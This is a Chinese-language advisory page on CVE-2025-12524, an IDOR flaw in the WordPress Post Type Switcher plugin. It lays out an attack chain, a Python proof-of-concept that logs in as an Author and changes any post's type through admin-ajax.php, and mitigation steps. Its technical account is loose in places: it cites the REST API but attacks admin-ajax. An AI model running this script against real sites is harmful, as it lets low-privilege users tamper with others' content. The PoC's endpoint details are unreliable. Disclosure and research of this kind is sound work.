IPBUF安全漏洞报告
English
CVE-2025-12524 CVSS 5.4 中危

CVE-2025-12524 WordPress Post Type Switcher插件IDOR漏洞

披露日期: 2025-11-18

漏洞信息

漏洞编号
CVE-2025-12524
漏洞类型
不安全的直接对象引用(IDOR)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Post Type Switcher (WordPress插件)

相关标签

IDORWordPress插件漏洞Post Type Switcher越权访问CVE-2025-12524认证绕过对象级别授权缺失WordPress安全

漏洞概述

Post Type Switcher是WordPress平台上一款广泛使用的插件,允许用户将文章、页面等文章类型进行转换。该插件在4.0.0及以下版本中存在严重的安全漏洞,源于对用户可控输入键的验证缺失。攻击者利用此漏洞可以在无需管理员权限的情况下,仅凭Author级别的账号即可修改任意文章(包括管理员创建的)的文章类型。这可能导致网站导航结构被破坏、SEO优化失效、重要内容被错误归类,甚至可能造成网站功能异常。由于该插件安装量较大,此漏洞影响范围广泛,对使用该插件的WordPress网站构成中等程度的安全威胁。

技术细节

该漏洞的根本原因在于插件在处理文章类型转换时,缺少对用户提交参数的充分验证。具体来说,插件在第469行和第486行(post-type-switcher.php文件中)处理post type切换逻辑时,直接使用了用户可控的输入而未进行权限校验和对象所有权验证。攻击者可以通过构造恶意请求,指定目标文章ID和期望转换的文章类型,利用IDOR漏洞绕过访问控制机制修改任意文章的类型属性。攻击流程包括:首先认证为Author级别用户,然后构造包含目标文章ID和恶意post_type参数的POST请求,最后发送请求即可实现文章类型篡改。由于WordPress的REST API默认对认证用户开放,这种攻击在技术实现上相对简单。

攻击链分析

STEP 1
侦察阶段
攻击者识别目标网站使用的WordPress版本和Post Type Switcher插件版本(<=4.0.0),确认漏洞存在条件
STEP 2
认证阶段
攻击者获取WordPress账号(Author级别或更高权限),或通过其他方式获取有效凭证
STEP 3
信息收集
攻击者枚举目标网站中的文章ID,特别是管理员或高权限用户创建的重要文章
STEP 4
构造攻击请求
攻击者构造包含目标文章ID和期望新文章类型的AJAX请求,利用插件缺少的IDOR验证机制
STEP 5
执行攻击
发送恶意POST请求到wp-admin/admin-ajax.php,触发post_type修改逻辑
STEP 6
达成攻击效果
目标文章类型被篡改,导致导航结构破坏、内容丢失、SEO影响或网站功能异常

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-12524 PoC - Post Type Switcher IDOR Vulnerability # Target: WordPress site with Post Type Switcher plugin <= 4.0.0 def exploit_post_type_switcher(target_url, username, password, target_post_id, new_post_type): """ Exploit IDOR vulnerability in Post Type Switcher plugin Args: target_url: Base URL of WordPress site username: WordPress username (Author level or higher) password: WordPress password target_post_id: ID of post to modify (can be any post, even admin's) new_post_type: Target post type (e.g., 'page', 'attachment') """ session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/", 'testcookie': '1' } response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in str(session.cookies): print("[-] Login failed") return False print("[+] Login successful") # Step 2: Exploit IDOR - Change post type of arbitrary post admin_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { 'action': 'pts_switch_post_type', 'post_id': target_post_id, # IDOR: No ownership check 'new_post_type': new_post_type # Attacker controlled } response = session.post(admin_url, data=exploit_data) if response.status_code == 200: print(f"[+] Post {target_post_id} type changed to {new_post_type}") return True else: print("[-] Exploitation failed") return False if __name__ == "__main__": if len(sys.argv) < 6: print("Usage: python cve-2025-12524.py <target_url> <username> <password> <post_id> <new_type>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] post_id = sys.argv[4] new_type = sys.argv[5] exploit_post_type_switcher(target, user, pwd, post_id, new_type)

影响范围

Post Type Switcher <= 4.0.0

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:1)限制Author级别用户的编辑权限,仅允许修改自己创建的文章;2)使用WordPress安全插件(如Wordfence)监控异常的文章类型修改行为;3)定期审计网站日志,检测潜在的IDOR攻击迹象;4)对重要文章进行定期备份,以便快速恢复被篡改的内容;5)考虑使用Web应用防火墙(WAF)规则阻断针对admin-ajax.php的异常请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表